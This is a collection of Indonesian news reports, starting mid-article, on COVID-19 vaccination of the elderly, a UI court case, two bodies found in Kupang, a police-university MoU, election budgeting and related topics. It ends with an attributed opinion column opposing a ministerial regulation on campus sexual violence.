mencukupi untuk memberikan layanan dan akses kepada seluruh rakyat Indonesia. Terakhir adalah transformasi teknologi kesehatan. "Big data, artificial intelligence (kecerdasan buatan), internet of things adalah keniscayaan. Itu sudah banyak mentransformasi industri lain, seperti industri transportasi, pariwisata dan hotel, industri makanan, perbankan dan lainnya," katanya. Menurut Budi, industri kesehatan di masa depan juga akan mengalami transformasi secara masif dengan adanya kemajuan teknologi informasi dari sisi diagnostik, skrining maupun layanan antar kepada masyarakat. Budi mengatakan HKN ke-57 Tahun 2021 menjadi momentum kebangkitan bangsa dari kondisi pandemi COVID-19 untuk berkolaborasi secara profesional dan bermoral. "Pandemi COVID-19 merupakan krisis kesehatan global dengan lebih dari 200 juta kasus dan 4,7 juta kematian yang dilaporkan terjadi di 225 negara hingga awal Oktober 2021," katanya. Budi bersyukur bangsa Indonesia berhasil menurunkan lonjakan kasus COVID-19. "Capaian penurunan kasus COVID-19 di Indonesia saat ini sebaiknya tetap membuat kita waspada. Apalagi, penyebaran virus corona memunculkan banyak varian yang tidak bisa diprediksi," katanya. Kegiatan HKN 2021 bertema "Sehat Negeriku, Tumbuh Indonesiaku" dirangkai dengan penyerahan bantuan sarana pendukung untuk penanganan pencegahan COVID-19 serta sosialisasi dan pelayanan vaksinasi massal COVID-19 kepada masyarakat. Kemenkes juga mengagendakan Seminar Ilmiah Internasional 2021 pada 17 November 2021 melalui luring dan daring sebagai informasi terkini terkait perkembangan Whole Genome Sequencing (WGS) beberapa penyakit yang masih banyak menimbulkan kesakitan dan kematian. Semarak aktivitas lomba dan olahraga juga mewarnai HKN tahun ini yang dikemas istimewa menggunakan platform media sosial untuk mengunggah video atau foto hasil capaian para peserta lomba dari kalangan nakes di seluruh Indonesia. Beberapa lomba juga terbuka untuk masyarakat umum. Selain itu, ada talk show menghadirkan para penyintas COVID-19 dalam rangka melakukan edukasi penerapan protokol kesehatan dan vaksinasi COVID-19 kepada masyarakat umum. Acara puncak HKN 2021 ditandai dengan pencanangan percepatan Vaksinasi COVID-19 dalam rangka pencapaian target nasional di Bogor, Jawa Barat. Pada kesempatan itu diberikan penghargaan tanda kehormatan dari Presiden RI Joko Widodo dan santunan kematian oleh Menteri Kesehatan kepada ahli waris dari tenaga kesehatan yang gugur saat bertugas dalam penanganan COVID-19. (mth)

Pemerintah Gelar Vaksinasi Rumah ke Rumah Rampungkan Vaksin Lansia

Balikpapan, Kaltim, FNN - Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan dr Siti Nadio Tarmizi menyatakan pemerintah akan menggelar vaksinasi dari rumah ke rumah khususnya untuk merampungkan vaksin bagi warga yang sudah lanjut usia (lansia). “Sebab vaksinasi lansia ini capaiannya belum sesuai harapan, disebabkan beberapa hal seperti hambatan akses serta faktor informasi yang keliru,” kata Juru Bicara Vaksinasi COVID-19 Kementerian Kesehatan dr Siti Nadio Tarmizi di Balikpapan, Kaltim, Kamis. Ia melanjutkan, karena itu, maka pemerintah menetapkan kebijakan vaksinasi lansia jadi salah satu indikator penurunan level PPKM kabupaten/kota guna mendorong percepatannya. “Targetnya, minimal dosis pertama dikejar sampai akhir Desember 2021. Karena kita tahu, kesakitan dan kematian pada usia di atas 59 tahun meningkat 6-7 kali lebih tinggi daripada non lansia,” tutur Nadia. Ia menambahkan pemerintah harus melihat pengalaman Singapura, di mana sebagian besar kasus meninggal adalah lansia yang belum tervaksinasi sehingga kerentanannya tinggi. Nadia kembali menjelaskan, kelompok lansia tidak perlu khawatir karena vaksin COVID-19 sudah melalui uji klinis, sangat aman dan efek sampingnya kecil. Pada hasil uji klinis, usia tidak mempengaruhi KIPI (Kejadian Ikutan Pasca Imunisasi). “Justru vaksin COVID-19 ini ditujukan bagi lansia dan orang yang punya komorbid, karena itulah kelompok yang terbanyak terdampak dengan sakit parah bahkan kematian,” paparnya. Bila target vaksinasi tidak tercapai, kata Nadia, maka Indonesia tidak bisa seutuhnya membentuk kekebalan kelompok. Wilayah dengan cakupan vaksinasi di atas 70 persen, situasi pandemi dapat beralih ke endemi, kasus akan sangat rendah. Sementara di daerah yang belum mencapai target vaksinasi, maka seperti halnya cakupan vaksinasi imunisasi rutin, pada daerah tersebut potensi kejadian luar biasa pasti akan mudah terjadi dan akan mengganggu kabupaten kota lainnya. “Kita tidak akan bisa keluar dari pandemi bila target sasaran vaksinasi belum tercapai,” tegas Nadia. Mengenai vaksin booster, Nadia menyebutkan bahwa hal tersebut sudah menjadi bagian dari perencanaan perlindungan masyarakat dan sudah dilaksanakan pada tenaga kesehatan. Diketahui, seiring waktu, imunitas akan berkurang dan munculnya turunan varian Delta selalu mengancam. Kementerian Komunikasi dan Informatika RI Jalan Merdeka Barat No.9 Jakarta Pusat, DKI Jakarta 10110 www.kominfo.go.id. “Sehingga perlu adanya vaksin tambahan untuk memperkuat imunitas, antibodi yang sudah terbentuk dari vaksin satu dan dua,” ujarnya. Pada kesempatan yang sama, Wali Kota Pekanbaru, Firdaus memaparkan beberapa tantangan vaksinasi lansia yang dihadapi di daerahnya, menyebabkan target vaksinasi lansia belum tercapai dan diharapkan dapat dikejar sebelum 22 November 2021 untuk evaluasi PPKM berlevel. Menghadapi kendala terkait akses lansia ke pusat vaksinasi dan memperbaiki pemahaman masyarakat, menurut Firdaus, pihaknya telah melakukan berbagai ikhtiar. Di antaranya, bus vaksin keliling untuk mendekatkan masyarakat ke pusat vaksinasi, vaksin dari rumah ke rumah, juga mengadakan pusat vaksinasi di bank-bank tempat para lansia mengambil gaji sebagai pensiunan. Upaya vaksinasi dari rumah ke rumah, disebutkannya, selain mempermudah akses bagi para lansia, sekaligus dalam rangka menyampaikan informasi yang benar terkait vaksinasi kepada mereka. Kendati demikian, Firdaus tidak memungkiri tetap ada warga yang tetap menolak divaksinasi meski sudah didatangi. “Masyarakat harus benar-benar diberikan pemahaman terkait dampak vaksinasi tersebut. Pemerintah kota selain berikan edukasi juga mengikat dengan regulasi, sehingga diharapkan semua orang akhirnya akan meminta vaksinasi,” papar Firdaus. Regulasi dimaksud adalah edaran walikota, bagi warga yang ingin berurusan dengan instansi pemerintah atau swasta harus memperlihatkan kartu vaksinasi, termasuk untuk lansia. Dokter Spesialis Penyakit Dalam/Vaksinolog, Dirga Sakti Rambe juga mengakui, informasi yang keliru atau hoaks masih menjadi tantangan vaksinasi lansia. Ia menyampaikan, pada zaman digital sekarang ini hoaks memang tidak terhindarkan, bukan hanya di Indonesia melainkan menjadi fenomena global. Untuk menangkal hoaks, dokter dan ilmuwan semua diharapkan ‘turun gunung’ untuk membanjiri media sosial dan media konvensional dengan berita yang benar dan kredibel. “Salah satu kendala vaksinasi lansia adalah hoaks yang beredar sehingga harus di-counter,” tandasnya. Soal anggapan bila anggota keluarga lain sudah divaksin maka lansia tidak memerlukan, Dirga tegas memastikan itu hal yang salah. “Lansia lebih banyak di rumah sehingga tidak perlu vaksinasi itu hal salah. Mereka memang di rumah, namun yang muda-muda kan keluar rumah dan bisa tertular dan membawa pulang virus. Nobody is safe until everyone is safe,” kata Dirga. Dirga menandaskan, usia lanjut dengan berbagai penyakit justru yang harus divaksinasi agar terlindungi. Selain itu, tidak ada batasan usia lansia untuk vaksinasi, batasannya adalah kriteria medis. “Justru karena lansia, risiko tinggi, maka harus dilindungi. Tidak ada batasan usia vaksinasi lansia. Bukan usia batasannya, kriteria untuk vaksinasi harus secara medis. Bagi kakek nenek orang tua kita bawa dulu ke tempat vaksinasi. Nanti petugas yang akan tentukan layak atau tidak untuk vaksinasi. Jangan menyerah dulu,” pesannya. Dokter Dirga juga menjelaskan, bagi lansia dengan penyakit apapun, termasuk sakit kronis seperti gula darah tinggi, ginjal, kanker, jantung asalkan penyakitnya terkontrol, seperti rutin berobat dan tidak ada keluhan berarti, maka boleh divaksin dengan rekomendasi dokter. Seniman dan aktris Jajang C Noer (69) sudah divaksin lengkap dan merasa bugar. “Saya divaksin di awal-awal pemerintah meluncurkan program vaksinasi COVID. Sama sekali tidak efek samping. Setelah vaksin pertama bahkan saya berenang, tidak ada masalah,” ujarnya. Aktris ini mengaku sebelum ada pandemi tidak pernah minum vitamin. “Tapi begitu masuk Maret 2020, saya minum semua vitamin C, D, E dan zinc setiap hari, D3, juga empon-empon (jamu),” ujar Jajang. Selain itu, dia berjemur setengah jam pada pagi hari dan menjaga hati tetap senang. Bagi lansia yang belum mau divaksin, Jajang mendorong agar mendengarkan kata pemimpin dan mempertimbangkan apa yang dikatakan. “Masuk akal atau logis tidak. Kalau logis ya ikuti saja.” tuturnya. Sedangkan lansia yang belum divaksin karena belum paham, harus didatangi dari rumah ke rumah untuk memberikan penjelasan secara persuasif. “Ketidaktahuan mereka yang membuat mereka belum mau divaksin. Harus didatangi door to door, dibujuk,” ujarnya. (sws)

UI Hormati Putusan PTTUN Tolak Gugatan Mantan Warek UI

Depok, FNN - Universitas Indonesia (UI) menghormati putusan Pengadilan Tinggi Tata Usaha Negara (PTTUN) Jakarta yang menolak gugatan banding yang diajukan mantan Wakil Rektor Bidang Akademik dan Kemahasiwaan Prof Rosari Saleh. "Universitas Indonesia menghormati putusan PTTUN tersebut sebagai implementasi dari salah satu nilai-nilai UI berupa kepatuhan pada peraturan perundang-undangan yang berlaku," kata Kepala Biro Humas dan KIP UI Amelita Lusia dalam keterangan tertulisnya, Jumat. Putusan PTTUN Jakarta ​telah dirilis dalam e-Court Mahkamah Agung RI pada Senin, 8 November 2021. Hakim PTTUN mengeluarkan amar putusan banding yang menguatkan putusan Pengadilan Tata Usaha Negara Jakarta Nomor 38/G/2021/PTUN.JKT tanggal 29 Juli 2021 yang dimohonkan banding, yang prinsipnya menolak gugatan Prof Rosari Saleh terhadap Rektor UI. Prof Rosari Saleh menggugat Surat Keputusan Rektor UI atas pemberhentian dirinya dari jabatan sebagai Wakil Rektor Bidang Akademik dan Kemahasiswaan. Prof Rosari Saleh menggugat SK Rektor UI Nomor 1698/SK/R/UI/2020 tanggal 20 Oktober 2020 tentang Pemberhentian Wakil Rektor Bidang Akademik dan Kemahasiswaan Universitas Indonesia Periode Rektor UI 2019-2024 dan SK Rektor UI Nomor 1701/SK/R/UI/2020 tanggal 20 Oktober 2020 tentang Pengangkatan Wakil Rektor Bidang Akademik dan Kemahasiswaan UI. Sebelumnya, putusan Pengadilan Tata Usaha Negara (PTUN) Jakarta No. 38/G/2021/PTUN.JKT yang dirilis melalui e-Court Mahkamah Agung RI tanggal 29 Juli 2021, menolak gugatan yang dilayangkan oleh Prof Rosari Saleh (Mantan Wakil Rektor Bidang Akademik dan Kemahasiwaan). Dalam putusannya, PTUN telah menyatakan gugatan penggugat (dalam hal ini Prof Rosari Saleh) tidak dapat diterima (Niet Onvakelijk Verklaard) karena melampaui batas waktu. Amelita Lusia mengatakan, keputusan PTTUN ini diharapkan dapat diterima oleh semua pihak yang bersengketa, dan menyikapinya secara bijaksana. Sebagai Civitas Akademika UI, diharapkan untuk dapat terus berkontribusi positif dalam membangun UI yang lebih baik, mandiri, unggul, bermartabat, dan toleran. Dengan semangat berkontribusi positif tersebut, diharapkan UI dapat "berlari lebih kencang lagi", menjadi perguruan tinggi yang unggul di level Dunia. Saat ini UI sedang bertransformasi menuju entrepreneurial university yang didukung oleh smart campus, dengan langkah awal melaksanakan transformasi regulasi agar tata kelola UI menjadi lebih baik untuk mampu beradaptasi pada perkembangan dan menjawab tantangan kemajuan zaman. (sws)

Kapolda Bentuk Tim Terpadu Ungkap Kasus Penemuan Dua Jenazah di Kupang

Kupang, FNN - Kepolisian Daerah Nusa Tenggara Timur membentuk Tim Terpadu untuk mengungkap kasus penemuan jenazah seorang wanita dan bayi yang terkubur di lokasi proyek galian pipa sistem penyediaan Air Minum (SPAM) di Kecamatan Alak, Kota Kupang, Nusa Tenggara Timur. Kapolda NTT Irjen Pol Lotharia Latif kepada wartawan di Jumat, mengatakan bahwa kasus ini masih terus dalam penyelidikan tetapi dia mengatakan bersama Ditreskrimum Polda sudah membentuk Tim Terpadu. "Kasus ini juga menjadi antensi saya, dan saya sudah bentuk Tim Terpadu untuk mengungkap kasus ini," katanya. Orang nomor satu di Polda NTT itu mengatakan bahwa kasus tersebut merupakan kasus yang harus segera diungkap, tidak hanya oleh Polda NTT tetapi juga dengan Polres terkait. Bukti-bukti tambah dia sudah dikumpulkan dan dia berharap agar tidak ada kejahatan yang sempurna dalam kasus itu. "Tetapi menurut saya pasti akan terungkap, yang penting kita bisa menyelidikinya dengan sungguh-sungguh dan dengan metode scientific investigation (investigasi dengan menggunakan ilmu pengetahuan)," tambah dia. Sementara itu Kapolsek Alak Kompol Tatang Panjaitan mengaku bahwa sampai saat ini pihaknya masih sulit mengungkap identitas dari jenazah wanita dan bayi yang diduga ibu dan anak yang ditemukan terbungkus plastik tersebut. Tatang mengaku kondisi tubuh kedua jenazah yang sudah rusak membuat pihak kepolisian sulit mengidentifikasi apalagi mengambil sidik jari dari kedua korban. Tatang juga menambahkan dalam mengembangkan kasus ini, sekurang-kurangnya empat laporan yang berkaitan dengan orang hilang dan belum kembali ke rumah sudah diterima oleh mereka. "Tetapi kita masih cek dan dalami lagi empat informasi orang hilang itu," ujar dia. Untuk saat ini ujar Tatang pihaknya masih menunggu hasil pemeriksaan sampel "deoxyribonucleic acid" (DNA) dari kedua jenazah tersebut. (sws)

Polisi Tes DNA Jenazah Wanita dan Bayi yang Ditemukan di Proyek SPAM

Kupang, FNN - Kepolisian Sektor Alak, Polres Kupang Kota, Polda NTT, tengah menunggu hasil tes DNA untuk mengungkap identitas jenazah wanita dewasa dan bayi 1-3 tahun yang ditemukan terkubur dalam lokasi penggalian saluran pipa SPAM Kali Dendeng, Kota Kupang, pada akhir Oktober 2021 lalu. "Kita tunggu hasilnya terlebih dahulu karena kami sudah kirim DNAnya ke forensik untuk diteliti oleh ahli," Kata Kapolsek Alak Kompol Tatang Panjaitan di Kupang melalui telepon, Kamis. Kasus penemuan jenazah yang diduga ibu dan anak itu terjadi pada Sabtu (30/10/2021) sore. Dua jasad yang ditemukan tersebut adalah seorang wanita dewasa yang diduga berusia sekitar 20-30 tahun dan bayi laki-laki yang diduga berusia 1-3 tahun. Kedua jasad itu ditemukan pekerja proyek dalam keadaan terbungkus tas plastik besar di penggalian saluran pipa sistem penyediaan air minum (SPAM) Kali Dendeng di Kelurahan Penkase Oeleta, Kecamatan Alak, Kota Kupang, Nusa Tenggara Timur (NTT). Di tempat kejadian perkara ​​​​polisi ​​​menemukan topi, celana dan buku anak kecil. Aparat kepolisian sendiri sudah dua kali melakukan olah tempat kejadian peristiwa (TKP) dan melakukan autopsi kedua jenazah oleh ahli forensik Rumah Sakit Bhayangkara Titus Ully. Kapolsek Alak Kompol Tatang Panjaitan mengatakan pihak kepolisian kesulitan mengidentifikasi dan mengambil sidik jari karena kondisi tubuh kedua jenazah yang sudah rusak. Tatang juga menambahkan dalam mengembangkan kasus ini, sekurang-kurangnya empat laporan yang berkaitan dengan orang hilang dan belum kembali ke rumah sudah diterima oleh mereka. "Tetapi kita masih cek dan dalami lagi empat informasi orang hilang itu," ujar dia. Kepolisian juga telah mengkoordinasikan seluruh bhabibkamtibmas di Kota Kupang dan seluruh Polsek untuk mencari identitas korban. Namun hingga saat ini masih nihil pengungkapan identitas dari kedua jenazah itu. Tatang mengharapkan m​​​​​​asyarakat bersabar karena pihak kepolisian sedang bekerja keras untuk mengungkap kasus itu. (sws)

Polri dan Unsrat Manado Teken MoU Bidang Pendidikan

Manado, FNN - Polri melalui SSDM Polri dan Universitas Sam Ratulangi (Unsrat) Manado menandatangani nota kesepahaman (memorandum of understanding/MoU) terkait pendidikan, pelatihan, pengkajian, penelitian, pengabdian kepada masyarakat, pengembangan kelembagaan, dan keamanan kampus. Penandatanganan naskah MoU berlangsung di Gedung Rektorat Unsrat Manado, Kamis, dan dihadiri oleh Anjak Utama Bidang Jianstra SSDM Polri Brigjen Pol Sri Eko Pranggono, Wakapolda Sulut Brigjen Pol Johnny Eddizon Isir dan Rektor Unsrat Prof Dr Ellen Joan Kumaat beserta para wakil rektor dan dekan. Dalam kesempatan tersebut, Rektor Unsrat Ellen Kumaat menyambut baik penandatanganan MoU yang merupakan kelanjutan kerja sama antara Polri dengan Unsrat. Sebelumnya kedua belah pihak telah menandatangani MoU pada 2015 lalu. “MoU pertama itu pada 2015 dengan jangka waktu 5 tahun dan berakhir di 2020. Mengingat pada 2020 itu sedang hangat-hangatnya pandemi COVID-19, maka perpanjangan MoU baru bisa kita laksanakan di tahun 2021 ini,” kata Kumaat. Ia mengatakan kerja sama Unsrat dengan Polri termasuk juga dengan Polda Sulut, dalam implementasinya telah dilaksanakan berbagai kegiatan. “Jadi kerja sama ini bukan hanya sekedar di atas kertas, tetapi kita sudah laksanakan implementasinya dalam lingkup pendidikan, kuliah-kuliah umum, pelatihan Satuan Pengamanan Unsrat, pengamanan Unsrat termasuk juga vaksinasi massal beberapa waktu lalu,” katanya. Terkait MoU yang ditandatangani tersebut, khususnya dalam lingkup pendidikan, ada beberapa mahasiswa yang berasal dari kepolisian yang tersebar di jenjang S1 maupun S2. “Kami menyambut baik jika ada anggota Polri yang akan melanjutkan pendidikan di Unsrat untuk jenjang S1, S2, S3, profesi bahkan mungkin dokter spesialis,” katanya. Namun demikian, lanjut Rektor, dalam hal penerimaan mahasiswa mitra kerja sama ini, pihak Unsrat tetap menjunjung tinggi profesionalisme akademi. “Di mana calon mahasiswa tersebut tetap wajib menempuh prosedur seleksi sebagaimana mahasiswa lainnya baik di tingat S1, S2, S3, profesi bahkan mungkin dokter spesialis,” katanya. Ia menambahkan sekitar sebulan yang lalu Unsrat telah memperoleh status akreditasi klasifikasi Unggul dari Badan Akreditasi Nasional Perguruan Tinggi. “Harapan kami setelah penandatanganan MoU ini akan dilanjutkan dengan berbagai perjanjian kerja sama dan kegiatan implementasi dengan intensitas yang aktif,” katanya. Wakapolda Brigjen Pol Johnny Eddizon Isir mengatakan, maksud dan tujuan MoU ini adalah untuk meningkatkan kualitas anggota Polri yang bertugas di Polda Sulut. “Sehingga nantinya mampu mengidentifikasi, merumuskan, dan menyelesaikan masalah-masalah sosial yang berkaitan dengan fungsi dan kelembagaan kepolisian sesuai dengan karakteristik daerah,” katanya. Asisten SDM Kapolri Irjen Pol Wahyu Widada, dalam sambutan yang dibacakan Anjak Utama Bidang Jianstra SSDM Polri Brigjen Pol Sri Eko Pranggono, mengatakan, MoU ini sejalan dengan salah satu rencana aksi dari Program Prioritas Kapolri yaitu meningkatkan kerja sama di dalam dan luar negeri pada pendidikan dan pelatihan anggota Polri. “Kerja sama antara Polri dan Unsrat ini diharapkan dapat meningkatkan sinergi dan kolaborasi antara Polri dengan perguruan tinggi dalam rangka peningkatan kompetensi dan kapasitas sumber daya manusia Polri guna menghadapi tantangan tugas saat ini dan di masa mendatang,” katanya. Ia mengatakan MoU yang sudah ditandatangani bersama ini, diharapkan segera diimplementasikan dalam bentuk kerja sama nyata, untuk memberikan manfaat yang signifikan bagi kedua belah pihak. Adapun kerja sama yang bisa dilakukan di antaranya, penelitian bersama, program magang mahasiswa Unsrat di Polri, program kelas khusus bagi anggota Polri, pelibatan personel Bhabinkamtibmas pada program pengabdian kepada masyarakat oleh mahasiswa Unsrat, serta kegiatan lainnya yang bermanfaat dalam mewujudkan sinergi Polri dengan Unsrat, katanya. (sws)

Wakil Ketua DPD RI Jelaskan Relasi Islam dan Demokrasi Indonesia

Jakarta, FNN - Wakil Ketua Dewan Perwakilan Daerah (DPD) RI Sultan B Najamudin menjelaskan relasi Islam dengan demokrasi Indonesia ketika memenuhi undangan otoritas salah satu kampus terbaik di Inggris, Universitas Loughborough. Sultan B Najamudin dalam keterangannya diterima di Jakarta, Jumat, menyebutkan agenda akademik itu melengkapi rangkaian lawatan wakil ketua dan belasan anggota DPD RI ke Inggris dan Skotlandia setelah merampungkan agenda puncak COP 26 Glasgow. Sultan disambut langsung oleh Presiden Universitas sekaligus Wakil Rektor Universitas Loughborough Prof Nick Jennings CB FREng bersama para dekan, ketua program studi/departemen dan para dosen senior. Di hadapan ratusan civitas akademika Universitas Loughborough, Sultan secara singkat dan jelas menerangkan kehidupan umat Islam Indonesia dan hakikat ideologi Pancasila yang berkaitan dengan praktik demokrasi Indonesia yang khas. Sultan menyampaikan Pancasila merupakan ideologi tengah yang mengomparasikan prinsip-prinsip ketuhanan, kemanusiaan, persatuan, demokrasi dan keadilan sosial bagi seluruh rakyat Indonesia. "Dengan demikian, hakikatnya Pancasila merupakan ideologi dunia, yang melampaui sekat-sekat nasionalisme, dan bersifat universal," kata Sultan. Meskipun Indonesia dikenal sebagai negara yang plural dengan populasi Muslim terbesar di dunia, lanjutnya demokrasi Indonesia mampu tumbuh dan dapat diterima secara baik oleh kalangan Islam. Hal itu karena, Islam identik dengan demokrasi. Keduanya sama-sama menghargai HAM, perdamaian, menjunjung tinggi keadilan sosial, sekaligus hak-hak perseorangan. Prof Nick Jennings mengaku kampus sangat antusias terhadap tema dan isi pidato Sultan. Mereka terkesan dengan kehidupan sosial kebangsaan Indonesia yang damai dan penuh tenggang rasa di tengah kemajemukan agama, etnis dan budaya. "Setelah ini, sepertinya kami harus menawarkan kerja sama dan kolaborasi kampus antara Loughborough University dengan kampus-kampus di Indonesia. Dan kami harap agar lebih banyak mahasiswa Indonesia yang melanjutkan studinya di sini," kata dia. Selanjutnya, Sultan bersama kolega senator yakni Ema Yohana, Dedy Iskandar Batu Bara, Evi Zaenal, Denty, Darmansyah Husein, Mambero dan Intsiawati Ayus diajak oleh wakil rektor untuk berkeliling dan mengunjungi beberapa fakultas dan perpustakaan kampus. Sementara itu Senator asal Sumatera Utara Dedy Iskandar Batu Bara menyampaikan kesannya yang mendalam tentang tradisi akademik di Universitas Loughborough yang penuh dengan nilai-nilai kemanusiaan dan ilmu pengetahuan. "Berada di kampus terbaik Inggris, adalah pengalaman akademik yang sarat dengan suasana keilmuan, pengetahuan dan kemanusiaan. Kami rekomendasikan agar anak-anak Indonesia bisa menjadi bagian dari civitas akademika Loughborough University," ujarnya. (sws)

Try Sutrisno Imbau MPR Susun Kebijakan Investasi Sesuai Pancasila

Jakarta, FNN - Wakil Presiden ke-6 Republik Indonesia Try Sutrisno mengimbau MPR RI untuk menyusun arah dan kebijakan investasi nasional yang berlandaskan nilai-nilai Pancasila agar ekonomi Indonesia tidak dijajah negara lain. “Investasi adalah bagian dari demokrasi ekonomi. Keputusan mengenai arah dan dasar kebijakan ekonomi ada di tangan seluruh rakyat Indonesia. Organ pengambil keputusan yang merupakan penjelmaan seluruh rakyat Indonesia adalah melalui sistem demokrasi politik, yaitu perwakilan rakyat di MPR RI,” jelas Try Sutrisno berdasarkan keterangan tertulis yang diterima di Jakarta, Jumat. Hal itu ia sampaikan saat menjadi pembicara dalam seminar nasional bertajuk “Investasi Berasaskan Pancasila” yang dilaksanakan Program Magister Hukum Universitas Kristen Indonesia (UKI) dan Sekretariat Jenderal MPR RI Jakarta, Kamis. Try Sutrisno mengatakan apabila investasi dari luar negeri lebih dominan, hal itu menandakan Indonesia masih dijajah oleh bangsa asing melalui sektor ekonomi. Agar terlepas dari bentuk lain penjajahan itu dan kembali pada jati diri bangsa, investasi yang berlandaskan Pancasila memang perlu diterapkan. Dalam penerapannya, ciri dan cara pengambilan keputusan terkait investasi nasional harus sejalan dengan demokrasi Pancasila. “Rambu-rambunya diputuskan oleh organ negara yang merepresentasikan seluruh rakyat Indonesia, yaitu MPR RI. Prosesnya, dilaksanakan sesuai prinsip demokrasi Indonesia, yaitu musyawarah mufakat untuk mewujudkan masyarakat merdeka, bersatu, berdaulat, adil, dan makmur,“ jelas Try Sutrisno. Ia juga menegaskan investasi seperti itu penting untuk diterapkan dalam kehidupan ekonomi Indonesia sebagaimana yang dituangkan dalam Undang-Undang Dasar Negara Republik Indonesia (UUD NRI 1945) Pasal 33 ayat (1). Pasal tersebut menekankan bahwa perekonomian di Indonesia disusun sebagai usaha bersama berdasarkan asas kekeluargaan. Try Sutrisno pun menekankan pentingnya kedaulatan dalam bidang ekonomi. “Jangan sampai investasi kita dalam level yang kalah dengan negara lain. Misalnya, investasi luar negeri lebih banyak. Kalau itu terjadi, namanya kita dijajah oleh bangsa asing lewat ekonomi. Negara sebesar ini, rakyatnya 240 juta lebih, jangan kita dijadikan pasar saja di sini. Kalau itu terjadi, berarti kita tidak merdeka,” tegasnya. (sws)

Bawaslu Siap Efisienkan Anggaran Setelah Tahapan Pemilu Final

Banten, FNN - Ketua Badan Pengawas Pemilihan Umum (Bawaslu) Abhan mengatakan bahwa Bawaslu siap untuk mengefisienkan anggaran setelah Pemerintah, KPU, dan Komisi II DPR telah mencapai kesepakatan terkait durasi tahapan pemilu. “Waktu itu anggaran disusun, kami dan KPU (Komisi Pemilihan Umum, Red.) mengasumsikan tahapan itu tidak 22 bulan, tetapi 25 bulan,” kata Abhan dalam diskusi publik dan media gathering yang bertema “Membaca Potensi Masalah Pemilu dan Pemilihan Serentak Tahun 2024”, di Mambruk Hotel, Anyer, Banten, Kamis malam. Dasar dari asumsi tersebut, menurut paparan Abhan, adalah menyediakan waktu persiapan yang lebih panjang bagi para pihak penyelenggara pemilihan umum dan pemilihan kepala daerah. Akan tetapi, apabila seluruh pihak terkait telah mencapai kesepakatan tahapan pemilu dengan durasi 22 bulan, maka pihak penyelenggara akan menyesuaikan anggaran yang mereka ajukan. “Jadi, kalau nanti sudah final diputuskan tahapan 22 bulan, tentu kami akan menyesuaikan (anggaran, Red.), karena tahapan lebih pendek,” ujar dia. Selain itu, Abhan juga mengatakan bahwa kondisi keuangan negara juga akan menjadi pertimbangan bagi pihaknya saat menyusun anggaran pemilu, dengan prinsip efektif, efisien, dan akuntabel. “Prinsip kami adalah efektif, efisien, dan akuntabel. Itu yang kami pegang dalam rangka menyusun anggaran pemilu maupun pemilihan (kepala daerah, Red.) 2024 ini. Anggaran tersusun dari dua hal, pemilu ada di APBN, dan pilkada ada di APBD,” ujar Abhan. Salah satu efisiensi anggaran yang akan dilakukan oleh Bawaslu adalah dengan hanya membentuk satu tim pengawas untuk mengawasi dua pelaksanaan pemilihan, yakni pemilu dan pilkada, bukan membagi pengawasan menjadi dua bagian untuk masing-masing pelaksanaan. “Apakah perlu dibentuk pengawasan jadi dua/ Saya kira tidak efektif. Jadi, satu saja. Itu yang nanti akan melakukan pengawasan dua, pengawasan pemilu dan pilkada. Itu akan lebih efektif dan efisien,” kata Ketua Bawaslu ini pula. Yang tidak bisa diefisiensikan oleh penyelenggara, kata Abhan, adalah anggaran untuk protokol kesehatan yang menjadi bagian yang harus dipenuhi oleh para pihak penyelenggara apabila menyelenggarakan pemilu dalam kondisi COVID-19. “Artinya, anggaran pengadaan prokes menjadi bagian yang harus dihitung dari anggaran,” kata Abhan. (sws)

Nadiem Maa Karim

Oleh M Rizal Fadillah *) NADIEM seperti 'kalem' tetapi memang kontroversial. Sejak awal penunjukan sebagai Menteri Dikbudristek pengusaha ojek online ini dinilai sebagai orang yang tidak tepat dalam jabatannya. Nadiem tidak memiliki basis pengalaman manajemen pendidikan yang kuat. Banyak guru besar yang lebih pantas untuk menjabat Menteri Pendidikan. Kelemahan dalam pemahaman agama mewarnai kebijakan. Road map pendidikan yang steril agama menjadi masalah publik. Demikian juga kurikulum moderasi beragama yang dipastikan sekularistik. Dan terakhir, kontroversi Permendikbudristek 30 tahun 2021 tentang Pencegahan dan Penanganan Kekerasan Seksual di Lingkungan Perguruan Tinggi. Kontroversi Permen ini karena tidak memenuhi asas hukum yang baik. Secara filosofis tidak berbasis agama padahal persoalan relasi seksual itu sarat akan nilai agama. Secara yuridis cacat karena tidak memiliki payung hukum Undang-Undang sejenis. RUU P-KS gagal menjadi UU. Secara sosiologis Permen ini ternyata mendapat penolakan di mana-mana. MOI, MUI, dan Muhamadiyah minta pencabutan atas Permen tersebut. Filosofi "barat" yang berbasis kontrak tercermin pada Pasal 5. Menyatakan bahwa larangan dan penyimpangan itu terjadi apabila dilakukan "tanpa persetujuan". Konsekuensi dengan "argumentum a contrario" atau "mafhum mukholafah" nya adalah apabila dilakukan dengan persetujuan maka menjadi boleh. Karenanya Permendikbudristek ini wajar jika ditafsirkan tunggal yaitu melegalisasi zina, bahkan juga LGBT. Permen PPKS kontroversi karena di satu sisi berprinsip pada kesetaraan gender, tetapi di lain pihak baik Pansel maupun Satgas ternyata dipersyaratkan minimal 2/3 harus diisi oleh perempuan. Artinya berprasangka buruk dan mendiskriminasi gender laki-laki. Apalagi Pasal 1 menegaskan bahwa norma kekerasan seksual itu berbasis "ketimpangan relasi kuasa". Dalam agama Islam kedudukan laki-laki dan perempuan adalah mitra. Bertentangan pula dengan prinsip Ketuhanan YME dan visi pendidikan Pasal 31 ayat (3) UUD 1945. Bahwa Sistem Pendidikan Nasional itu untuk "meningkatkan keimanan dan ketakwaan serta akhlak mulia dalam rangka mencerdaskan kehidupan bangsa yang diatur dalam UU". Agama itu penting. Nadiem jika tetap mempertahankan dan menjalankan Permendikbudristek No 30 tahun 2021 ini maka akan disorot sebagai Menteri yang menginjak-injak agama dan moral bangsa. Wajah Makarim berubah menjadi Maa Karim. Yang pertama bermakna "mulia" sedangkan yang kedua justru "tidak mulia". Meski didukung oleh Menteri Agama dan beberapa tokoh PDIP, namun Permen ini ditentang oleh kekuatan agama. Situasi tidak akan kondusif bagi Kementrian dan Pemerintah sendiri. Karenanya pencabutan merupakan sesuatu keniscayaan. Buktikan bahwa peraturan itu dibuat dengan bersendikan tertib hukum, tertib sosial, maupun tertib nilai bahkan tertib ideologi. Kembalilah Menteri Nadiem ke jalan yang mulia, kembalilah menjadi Makarim bukan Maa Karim. *) Pemerhati Politik dan Keagamaan

Hakim Banding Nilai Vonis Edhy Prabowo Tak Cerminkan Keadilan

